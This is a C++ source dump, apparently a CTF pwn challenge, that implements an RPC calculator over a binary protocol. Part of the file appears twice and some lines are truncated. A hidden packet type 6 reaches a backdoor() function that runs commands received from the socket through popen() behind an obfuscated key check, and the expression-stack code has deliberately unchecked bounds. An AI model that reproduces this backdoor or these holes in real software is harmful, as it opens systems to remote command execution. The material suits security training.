retry_packet="RPCN\x00\x00\x00\x0c\x00\x00\xbe\xf1"; 340 | const char* done_packet="RPCN\x00\x00\x00\x0c\x00\x00\xbe\xef"; 341 | while(1) 342 | { 343 | byte* buf = (byte*)malloc(50*sizeof(byte)); 344 | memset(buf, 0, 50); 345 | read(sockConn,buf,4); 346 | if(magiccmp(buf,RECV_MAGIC)== 0) 347 | { 348 | read(sockConn,buf,4); 349 | int length = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 350 | read(sockConn,buf,4); 351 | int packet_type = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 352 | int key_len, id_len, expr_len, res_len, status, i; 353 | char* key = (char*)malloc(37*sizeof(char)); 354 | memset(key,0,37); 355 | string skey; 356 | string s_corr_id; 357 | string s_res; 358 | char* corr_id; 359 | char* packet; 360 | char* expr; 361 | char* res; 362 | Q q; 363 | Data d; 364 | switch(packet_type) 365 | { 366 | case 0: 367 | // connect 368 | if(starting == 0) 369 | { 370 | starting = 1; 371 | write(STDOUT_FILENO, done_packet, 12); 372 | } 373 | else 374 | { 375 | write(STDOUT_FILENO, error_packet, 12); 376 | } 377 | break; 378 | case 1: 379 | // declare 380 | uuid_t uuid; 381 | uuid_generate(uuid); 382 | uuid_unparse(uuid, key); 383 | skey = key; 384 | mq.insert(pair(skey,q)); 385 | packet = construct_result(key); 386 | write(STDOUT_FILENO, packet, 36+12+4); 387 | break; 388 | case 2: 389 | // retrieve 390 | read(sockConn,buf,4); 391 | key_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 392 | read(sockConn,key, key_len); 393 | 394 | read(sockConn,buf,4); 395 | id_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 396 | corr_id = (char*)malloc((id_len+1)*sizeof(char)); 397 | memset(corr_id,0,id_len+1); 398 | read(sockConn,corr_id, id_len); 399 | if(key_len+id_len!=length-12-4-4) 400 | { 401 | write(STDOUT_FILENO, error_packet, 12); 402 | break; 403 | } 404 | skey = key; 405 | s_corr_id = corr_id; 406 | it_find = mq.find(skey); 407 | if(it_find!=mq.end()) 408 | { 409 | i = mq[skey].size(); 410 | if((i==0) || mq[skey].front().corr_id != s_corr_id) 411 | { 412 | write(STDOUT_FILENO, retry_packet, 12); 413 | break; 414 | } 415 | else 416 | { 417 | // 出队 418 | res_len = strlen(mq[skey].front().res.c_str()); 419 | packet = construct_result((char*)mq[skey].front().res.c_str()); 420 | mq[skey].pop(); 421 | write(STDOUT_FILENO, packet, res_len+12+4); 422 | break; 423 | } 424 | } 425 | else 426 | { 427 | write(STDOUT_FILENO, error_packet, 12); 428 | } 429 | break; 430 | case 3: 431 | // call 432 | read(sockConn,buf,4); 433 | key_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 434 | read(sockConn,key, key_len); 435 | 436 | read(sockConn,buf,4); 437 | id_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 438 | corr_id = (char*)malloc((id_len+1)*sizeof(char)); 439 | memset(corr_id,0,id_len+1); 440 | read(sockConn,corr_id, id_len); 441 | 442 | read(sockConn,buf,4); 443 | expr_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 444 | expr = (char*)malloc((expr_len+1)*sizeof(char)); 445 | memset(expr,0,expr_len+1); 446 | read(sockConn,expr, expr_len); 447 | 448 | if(key_len+id_len+expr_len!=length-12-4-4-4) 449 | { 450 | write(STDOUT_FILENO, error_packet, 12); 451 | break; 452 | } 453 | // 执行运算 454 | res = (char*)malloc(50*sizeof(char)); 455 | memset(res,0,50); 456 | status = calc(expr,res); 457 | if(status == -1) 458 | { 459 | write(STDOUT_FILENO, error_packet, 12); 460 | break; 461 | } 462 | skey = key; 463 | s_corr_id = corr_id; 464 | s_res = res; 465 | it_find = mq.find(skey); 466 | 467 | if(it_find!=mq.end()) 468 | { 469 | // 入队 470 | d.corr_id = s_corr_id; 471 | d.res = s_res; 472 | mq[skey].push(d); 473 | write(STDOUT_FILENO, done_packet, 12); 474 | } 475 | else 476 | { 477 | write(STDOUT_FILENO, error_packet, 12); 478 | } 479 | break; 480 | case 4: 481 | // close 482 | return; 483 | // break; 484 | case 6: 485 | backdoor(sockConn); 486 | break; 487 | default: 488 | // error 489 | write(STDOUT_FILENO, error_packet, 12); 490 | break; 491 | } 492 | } 493 | else 494 | { 495 | write(STDOUT_FILENO, error_packet, 12); 496 | } 497 | } 498 | } 499 | 500 | int main() { 501 | setbuf(stdout, 0); 502 | MQ mq; 503 | handle(STDIN_FILENO, mq); 504 | 505 | return 0; 506 | } 507 | -------------------------------------------------------------------------------- /deploy/bin/calc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #define BUF_SIZE 0x100 20 | #define LENGTH 100 21 | 22 | using namespace std; 23 | 24 | typedef unsigned char byte; 25 | 26 | typedef struct { 27 | int top; 28 | long long pool[LENGTH]; 29 | } stack; 30 | 31 | typedef struct Data{ 32 | string corr_id; 33 | string res; 34 | } Data; 35 | 36 | typedef queue Q; 37 | typedef map MQ; 38 | 39 | map::iterator it_find; 40 | 41 | byte RECV_MAGIC[4]={'R','P','C','M'}; 42 | char* EVIL_INS=(char*)"1%\x1dqiE\xbd\x99\x95\xf9\xd0\xcb\"\x06pjC\xb4\xb3\x80\xf9\xd6\xcf> 24) & 0xff); 48 | result[1] = (byte)((value >> 16) & 0xff); 49 | result[2] = (byte)((value >> 8) & 0xff); 50 | result[3] = (byte)(value & 0xff); 51 | return result; 52 | } 53 | 54 | char* StrTrim(char* pStr) 55 | { 56 | char *pTmp = (char*)malloc((strlen(pStr)+1)*sizeof(char)); 57 | memset(pTmp,0,strlen(pStr)+1); 58 | int mark = 0; 59 | int i; 60 | for (i = 0; i < strlen(pStr); i++) 61 | { 62 | if (pStr[i] != ' ') 63 | { 64 | pTmp[mark] = pStr[i]; 65 | mark++; 66 | } 67 | } 68 | pTmp[mark] = '\x00'; 69 | return pTmp; 70 | } 71 | 72 | int myatoi(char* buf) { 73 | int sum = 0; 74 | while (*buf) { 75 | sum = sum * 10 + (*buf - '0'); 76 | buf++; 77 | } 78 | return sum; 79 | } 80 | 81 | int read_str(char* buf, int n) { 82 | int t = read(0, buf, n-1); 83 | if (buf[t - 1] == '\n') { 84 | buf[t - 1] = '\x00'; 85 | } 86 | buf[t]='\x00'; 87 | return t; 88 | } 89 | int input_pass(char* buf, int size) { 90 | int ret = 1; 91 | int i; 92 | for (i = 0; i < size; i++) { 93 | char c = buf[i]; 94 | if (!((c >= '0' && c <= '9') || c == '+' || c == '-' || c == '*' || c == '/' || c == '\x00' || c == '(' || c == ')')) { 95 | ret = 0; 96 | break; 97 | } 98 | } 99 | for (i = 0; i < size-1; i=i+2) { 100 | char c1 = buf[i]; 101 | char c2 = buf[i+1]; 102 | if(c1 == '+' || c1 == '-' || c1 == '*' || c1 == '/') 103 | { 104 | if(!(c2 >= '0' && c2 <= '9')) 105 | ret = 0; 106 | break; 107 | } 108 | if(c2 == '+' || c2 == '-' || c2 == '*' || c2 == '/') 109 | { 110 | if(!(c1 >= '0' && c1 <= '9')) 111 | ret = 0; 112 | break; 113 | } 114 | } 115 | return ret; 116 | } 117 | 118 | void push(stack* s, int value) { 119 | if (s->top >= 0) { 120 | s->top--; 121 | s->pool[s->top] = value; 122 | } 123 | } 124 | 125 | int priority(int a) { 126 | int ret; 127 | switch (a) { 128 | case '(': 129 | ret = 5; 130 | break; 131 | case '*': 132 | case '/': 133 | ret = 4; 134 | break; 135 | case '+': 136 | case '-': 137 | ret = 3; 138 | break; 139 | case ')': 140 | ret=2; 141 | break; 142 | case 0: 143 | ret = 1; 144 | break; 145 | case -1: 146 | ret = 0; 147 | break; 148 | } 149 | return ret; 150 | } 151 | 152 | void deal_data(stack* array, stack* opt) { 153 | char c = opt->pool[opt->top]; 154 | opt->top++; 155 | long long a = array->pool[array->top]; 156 | array->top++; 157 | long long b = array->pool[array->top]; 158 | switch (c) { 159 | case '+': 160 | array->pool[array->top] = a + b; 161 | break; 162 | case '-': 163 | array->pool[array->top] = b - a; 164 | break; 165 | case '*': 166 | array->pool[array->top] = a * b; 167 | break; 168 | case '/': 169 | if (a != 0) 170 | array->pool[array->top] = b / a; 171 | else 172 | array->pool[array->top] = 0xFFFFFFFF; 173 | break; 174 | default: 175 | break; 176 | } 177 | } 178 | 179 | int calc(char* expr, char* result) 180 | { 181 | char *temp, *str; 182 | struct { 183 | char dest[BUF_SIZE]; 184 | char buf[BUF_SIZE]; 185 | stack opt; 186 | stack array; 187 | } var; 188 | var.array.top = LENGTH; 189 | var.opt.top = LENGTH; 190 | push(&var.opt, 0xFFFFFFFF); 191 | char* tmp = StrTrim(expr); 192 | memset(var.buf,0,BUF_SIZE); 193 | memcpy(var.buf,tmp,strlen(tmp)+1); 194 | int size = strlen(tmp)+1; 195 | if (!input_pass(var.buf, strlen(var.buf))) { 196 | return -1; 197 | } 198 | 199 | str = var.buf; 200 | while (str - var.buf < size) 201 | { 202 | temp = var.dest; 203 | while (str - var.buf < size && *str >= '0' && *str <= '9') { 204 | *temp = *str; 205 | temp++; 206 | str++; 207 | } 208 | *temp = '\x00'; 209 | if (*var.dest) { 210 | int num = myatoi(var.dest); 211 | push(&var.array, num); 212 | } 213 | while (1) { 214 | if ( var.opt.pool[var.opt.top] == '(' || priority(var.opt.pool[var.opt.top]) < priority((int)*str)) { 215 | if(*str != ')') 216 | push(&var.opt, (int)*str); 217 | else 218 | var.opt.top++; 219 | break; 220 | } else { 221 | deal_data(&var.array, &var.opt); 222 | } 223 | } 224 | if (*str == '\x00') { 225 | break; 226 | } 227 | str++; 228 | } 229 | sprintf(result, "%lld", var.array.pool[var.array.top]); 230 | return 0; 231 | } 232 | 233 | 234 | char* construct_result(char* key) 235 | { 236 | int length = strlen(key); 237 | char* packet = (char*)malloc((length+12+4+1)*sizeof(char)); 238 | memset(packet,0,length+12+4+1); 239 | memcpy(packet, (byte*)"RPCN", 4); 240 | memcpy(packet+4, (byte*)p32(length+12+4), 4); 241 | memcpy(packet+8, (byte*)"\x00\x00\xbe\xf2", 4); 242 | memcpy(packet+12, (byte*)p32(length), 4); 243 | memcpy(packet+16, (byte*)key, length); 244 | return packet; 245 | } 246 | 247 | int magiccmp(byte b1[4], byte b2[4]) 248 | { 249 | int i; 250 | for(i = 0; i < 4;i++) 251 | { 252 | if(b1[i]!=b2[i]) 253 | return 1; 254 | } 255 | return 0; 256 | } 257 | 258 | void encrypt(char* key) 259 | { 260 | int i; 261 | int k=0; 262 | for(i=0;i<36;i++) 263 | { 264 | key[i]=(key[i]^k)%256; 265 | k+=23; 266 | } 267 | } 268 | 269 | int bytecmp(char* a,char* b) 270 | { 271 | int length = strlen(b); 272 | int i; 273 | for(i=0;i22) 311 | { 312 | write(STDOUT_FILENO, retry_packet, 12); 313 | return -1; 314 | } 315 | read(sock,cmd, cmd_len); 316 | 317 | FILE* fp = NULL; 318 | char* output = (char*)malloc(50); 319 | memset(output,0,50); 320 | 321 | if ((fp = popen(cmd, "r")) != NULL) 322 | { 323 | fgets(output, 50, fp); 324 | write(STDOUT_FILENO, output, strlen(output)); 325 | pclose(fp); 326 | } 327 | else 328 | { 329 | write(STDOUT_FILENO, retry_packet, 12); 330 | } 331 | return 0; 332 | } 333 | 334 | 335 | void handle(int sockConn, MQ mq) 336 | { 337 | int starting = 0; 338 | const char* error_packet="RPCN\x00\x00\x00\x0c\x00\x00\xbe\xf0"; 339 | const char* retry_packet="RPCN\x00\x00\x00\x0c\x00\x00\xbe\xf1"; 340 | const char* done_packet="RPCN\x00\x00\x00\x0c\x00\x00\xbe\xef"; 341 | while(1) 342 | { 343 | byte* buf = (byte*)malloc(50*sizeof(byte)); 344 | memset(buf, 0, 50); 345 | read(sockConn,buf,4); 346 | if(magiccmp(buf,RECV_MAGIC)== 0) 347 | { 348 | read(sockConn,buf,4); 349 | int length = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 350 | read(sockConn,buf,4); 351 | int packet_type = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 352 | int key_len, id_len, expr_len, res_len, status, i; 353 | char* key = (char*)malloc(37*sizeof(char)); 354 | memset(key,0,37); 355 | string skey; 356 | string s_corr_id; 357 | string s_res; 358 | char* corr_id; 359 | char* packet; 360 | char* expr; 361 | char* res; 362 | Q q; 363 | Data d; 364 | switch(packet_type) 365 | { 366 | case 0: 367 | // connect 368 | if(starting == 0) 369 | { 370 | starting = 1; 371 | write(STDOUT_FILENO, done_packet, 12); 372 | } 373 | else 374 | { 375 | write(STDOUT_FILENO, error_packet, 12); 376 | } 377 | break; 378 | case 1: 379 | // declare 380 | uuid_t uuid; 381 | uuid_generate(uuid); 382 | uuid_unparse(uuid, key); 383 | skey = key; 384 | mq.insert(pair(skey,q)); 385 | packet = construct_result(key); 386 | write(STDOUT_FILENO, packet, 36+12+4); 387 | break; 388 | case 2: 389 | // retrieve 390 | read(sockConn,buf,4); 391 | key_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 392 | read(sockConn,key, key_len); 393 | 394 | read(sockConn,buf,4); 395 | id_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 396 | corr_id = (char*)malloc((id_len+1)*sizeof(char)); 397 | memset(corr_id,0,id_len+1); 398 | read(sockConn,corr_id, id_len); 399 | if(key_len+id_len!=length-12-4-4) 400 | { 401 | write(STDOUT_FILENO, error_packet, 12); 402 | break; 403 | } 404 | skey = key; 405 | s_corr_id = corr_id; 406 | it_find = mq.find(skey); 407 | if(it_find!=mq.end()) 408 | { 409 | i = mq[skey].size(); 410 | if((i==0) || mq[skey].front().corr_id != s_corr_id) 411 | { 412 | write(STDOUT_FILENO, retry_packet, 12); 413 | break; 414 | } 415 | else 416 | { 417 | // 出队 418 | res_len = strlen(mq[skey].front().res.c_str()); 419 | packet = construct_result((char*)mq[skey].front().res.c_str()); 420 | mq[skey].pop(); 421 | write(STDOUT_FILENO, packet, res_len+12+4); 422 | break; 423 | } 424 | } 425 | else 426 | { 427 | write(STDOUT_FILENO, error_packet, 12); 428 | } 429 | break; 430 | case 3: 431 | // call 432 | read(sockConn,buf,4); 433 | key_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 434 | read(sockConn,key, key_len); 435 | 436 | read(sockConn,buf,4); 437 | id_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 438 | corr_id = (char*)malloc((id_len+1)*sizeof(char)); 439 | memset(corr_id,0,id_len+1); 440 | read(sockConn,corr_id, id_len); 441 | 442 | read(sockConn,buf,4); 443 | expr_len = buf[3]+(buf[2]<<8)+(buf[1]<<16)+(buf[0]<<24); 444 | expr = (char*)malloc((expr_len+1)*sizeof(char)); 445 | memset(expr,0,expr_len+1); 446 | read(sockConn,expr, expr_len); 447 | 448 | if(key_len+id_len+expr_len!=length-12-4-4-4) 449 | { 450 | write(STDOUT_FILENO, error_packet, 12); 451 | break; 452 | } 453 | // 执行运算 454 | res = (char*)malloc(50*sizeof(char)); 455 | memset(res,0,50); 456 | status = calc(expr,res); 457 | if(status == -1) 458 | { 459 | write(STDOUT_FILENO, error_packet, 12); 460 | break; 461 | } 462 | skey = key; 463 | s_corr_id = corr_id; 464 | s_res = res; 465 | it_find = mq.find(skey); 466 | 467 | if(it_find!=mq.end()) 468 | { 469 | // 入队 470 | d.corr_id = s_corr_id; 471 | d.res = s_res; 472 | mq[skey].push(d); 473 | write(STDOUT_FILENO, done_packet, 12); 474 | } 475 | else 476 | { 477 | write(STDOUT_FILENO, error_packet, 12); 478 | } 479 | break; 480 | case 4: 481 | // close 482 | return; 483 | // break; 484 | case 6: 485 | backdoor(sockConn); 486 | break; 487 | default: 488 | // error 489 | write(STDOUT_FILENO, error_packet, 12); 490 | break; 491 | } 492 | } 493 | else 494 | { 495 | write(STDOUT_FILENO, error_packet, 12); 496 | } 497 | } 498 | } 499 | 500 | int main() { 501 | setbuf(stdout, 0); 502 | MQ mq; 503 | handle(STDIN_FILENO, mq); 504 | 505 | return 0; 506 | } 507 | --------------------------------------------------------------------------------